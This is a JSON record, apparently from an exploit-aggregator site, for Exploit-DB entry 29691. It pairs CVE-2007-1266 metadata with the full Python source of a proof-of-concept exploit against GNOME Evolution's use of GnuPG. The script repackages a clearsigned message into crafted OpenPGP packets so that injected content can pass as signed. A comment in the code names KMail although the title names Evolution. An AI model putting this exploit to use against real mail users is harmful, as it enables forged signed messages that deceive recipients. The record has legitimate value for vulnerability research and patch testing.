{"exploit":{"id":"EDB-29691","name":"GNOME Evolution 2.x - GnuPG Arbitrary Content Injection","description":"GNOME Evolution 2.x - GnuPG Arbitrary Content Injection","cves":["CVE-2007-1266"],"author":"Gerardo Richarte","published":"2007-03-05","platform":"linux","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/29691","path":"exploits/linux/remote/29691.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-29691.py","vulnerabilities":[{"id":"CVE-2007-1266","state":"PUBLISHED","title":null,"titleSource":null,"description":"Evolution 2.8.1 and earlier does not properly use the --status-fd argument when invoking GnuPG, which prevents Evolution from visually distinguishing between signed and unsigned portions of OpenPGP messages with multiple components, which allows remote attackers to forge the contents of a message without detection.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1266","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1266"},"updatedAt":"2024-08-07T12:50:35.039Z","retrievedAt":"2026-11-27T08:08:24.484Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-29691.png?v=2","url":"https://exploitbin.com/exploits/EDB-29691","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-29691/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-29691/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# source: https://web.archive.org/web/2007/https://www.securityfocus.com/bid/22760/info\n\n# Evolution is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing.\n\n# An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message.\n\n# This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that Evolution uses GnuPG.\n\n# This issue affects KMail versions prior to and including 2.8.1.\n\nimport os, gpg, sys, base64\n\nclear_sign = open(sys.argv[1], \"rb\").read().splitlines()\n\nstart = clear_sign.index(\"-----BEGIN PGP SIGNED MESSAGE-----\")\nmid = clear_sign.index(\"-----BEGIN PGP SIGNATURE-----\")\nend = clear_sign.index(\"-----END PGP SIGNATURE-----\")\n\ntext = '\\r\\n'.join(clear_sign[start+3:mid])\nsign = '\\n'.join(clear_sign[mid+3:end-1])\n\nonepass = gpg.OnePassSignature()\nonepass['keyid'] = (0x12341234,0x12341234)\nonepass['digest_algo'] = 2\nonepass['pubkey_algo'] = 1\nonepass['sigclass'] = 1\n\nplain1 = gpg.Plaintext()\nplain1['name'] = 'original'\nplain1['data'] = text\nplain1['mode'] = 0x62\n\nsignature = gpg.Raw()\nsignature['data'] = base64.decodestring(sign)\n\ncompressed = gpg.Compressed()\ncompressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB\ncompressed['data'] = [onepass, plain1, signature]\n\npkt = gpg.Packet()\npkt['version'] = 1\npkt['data'] = compressed\n\nos.write(1,str(pkt))","sha256":"a949557a3c328793accf754732ffa875ecf1f9ac9004aac92bfd123097117061","bytes":1533,"fetchedAt":"2026-11-27T08:08:22.739Z","encoding":"utf-8 (display only; download retains original bytes)"}